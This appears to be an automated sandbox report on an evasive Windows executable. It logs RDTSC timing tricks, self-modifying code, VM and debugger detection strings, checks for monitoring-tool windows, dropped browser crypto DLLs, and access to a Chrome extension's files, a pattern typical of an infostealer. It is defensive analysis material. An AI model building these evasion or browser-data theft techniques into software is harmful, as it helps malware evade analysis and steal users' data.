Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C81AB2 second address: C81AB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8CCFD second address: C8CD0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jp 00007F33593F05B6h 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9B11E second address: C9B15E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F59BDh 0x00000007 jmp 00007F33593F59C5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F33593F59C2h 0x00000013 push eax 0x00000014 push edx 0x00000015 jnp 00007F33593F59B6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9B15E second address: C9B1A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F05C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F33593F05C2h 0x0000000f jns 00007F33593F05B6h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jnp 00007F33593F05B6h 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9B1A0 second address: C9B1CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F59C6h 0x00000007 jc 00007F33593F59B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push edi 0x00000013 pop edi 0x00000014 jno 00007F33593F59B6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9B1CD second address: C9B1D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9E1A2 second address: C9E1AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F33593F59B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9E1AE second address: C9E1CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007F33593F05C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2FCA second address: CA2FD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2FD2 second address: CA2FD8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA9D0F second address: CA9D13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA9D13 second address: CA9D32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jc 00007F33593F05B6h 0x0000000f jmp 00007F33593F05BEh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA150 second address: CAA16C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F33593F59B6h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f jmp 00007F33593F59BDh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA519 second address: CAA51F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAB074 second address: CAB07C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAED47 second address: CAED50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAED50 second address: CAED60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAED60 second address: CAED66 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAED66 second address: CAED6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAED6E second address: CAED88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F05C6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC447 second address: CBC44C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC44C second address: CBC452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC296 second address: CBC29C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC29C second address: CBC2BC instructions: 0x00000000 rdtsc 0x00000002 jne 00007F33593F05B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007F33593F05BEh 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC2BC second address: CBC2C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBC2C0 second address: CBC2C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCC979 second address: CCC99E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F59C9h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCC99E second address: CCC9AE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F33593F05B6h 0x00000008 jnl 00007F33593F05B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCC9AE second address: CCC9CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F33593F59B6h 0x0000000a jmp 00007F33593F59C3h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCC9CB second address: CCC9E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F05C2h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCC9E6 second address: CCCA00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33593F59BBh 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f push eax 0x00000010 pop eax 0x00000011 pushad 0x00000012 popad 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCCA00 second address: CCCA0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jnl 00007F33593F05B6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCCA0C second address: CCCA12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCCB40 second address: CCCB4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDBCC7 second address: CDBCD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F33593F59B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDBCD2 second address: CDBD01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F33593F05BFh 0x0000000f jmp 00007F33593F05C2h 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDBD01 second address: CDBD13 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F33593F59B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007F33593F59BCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDC43A second address: CDC441 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDC72A second address: CDC769 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F59BDh 0x00000007 jmp 00007F33593F59BAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebx 0x0000000f pushad 0x00000010 jl 00007F33593F59B8h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 jmp 00007F33593F59C7h 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDC8C6 second address: CDC8CF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0BCC second address: CE0BD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0E2A second address: CE0E2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0E2E second address: CE0E37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0E37 second address: CE0E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push ecx 0x0000000a push ecx 0x0000000b jc 00007F33593F05B6h 0x00000011 pop edx 0x00000012 pop edx 0x00000013 jmp 00007F33593F05BBh 0x00000018 push 00000004h 0x0000001a mov dx, A59Bh 0x0000001e push 235BB524h 0x00000023 push eax 0x00000024 push edx 0x00000025 push ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0E65 second address: CE0E6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1076 second address: CE107B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4636 second address: CE4656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jno 00007F33593F59BEh 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 js 00007F33593F59B6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4656 second address: CE465A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE465A second address: CE4672 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F59BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4672 second address: CE468B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F05BFh 0x00000007 jno 00007F33593F05B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE468B second address: CE4693 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4693 second address: CE4697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260268 second address: 52602B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, dh 0x00000005 pushfd 0x00000006 jmp 00007F33593F59C8h 0x0000000b or ax, 62B8h 0x00000010 jmp 00007F33593F59BBh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F33593F59C5h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260306 second address: 5260345 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F05C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F33593F05C0h 0x0000000f push eax 0x00000010 jmp 00007F33593F05BBh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push ecx 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260345 second address: 5260371 instructions: 0x00000000 rdtsc 0x00000002 mov edx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007F33593F59BAh 0x0000000b jmp 00007F33593F59C2h 0x00000010 pop esi 0x00000011 popad 0x00000012 mov ebp, esp 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260371 second address: 526038B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F05C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 526038B second address: 526039D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F33593F59BEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C04634 second address: C0463E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F33593F05B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260A76 second address: 5260A7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260A7A second address: 5260A8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F05BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260A8D second address: 5260A93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260A93 second address: 5260ABC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33593F05BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c pushad 0x0000000d pushad 0x0000000e call 00007F33593F05C2h 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BF4BC9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A4F46E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C87489 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 6480

Thread sleep time: -32016s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00804910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00804910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007FDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_007FDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007FE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_007FE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007FBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_007FBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00803EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00803EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007F16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_007F16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007FF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_007FF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008038B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_008038B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007FED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_007FED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00804570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00804570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007FDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_007FDE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007F1160 GetSystemInfo,ExitProcess,

0_2_007F1160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW;$y
Source: file.exe, 00000000.00000002.2093924114.0000000001383000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2093924114.00000000013B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2093924114.000000000133E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2093924114.000000000133E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware,
Source: file.exe, 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-14782
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13595
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13614
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13592
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13647
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13607

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
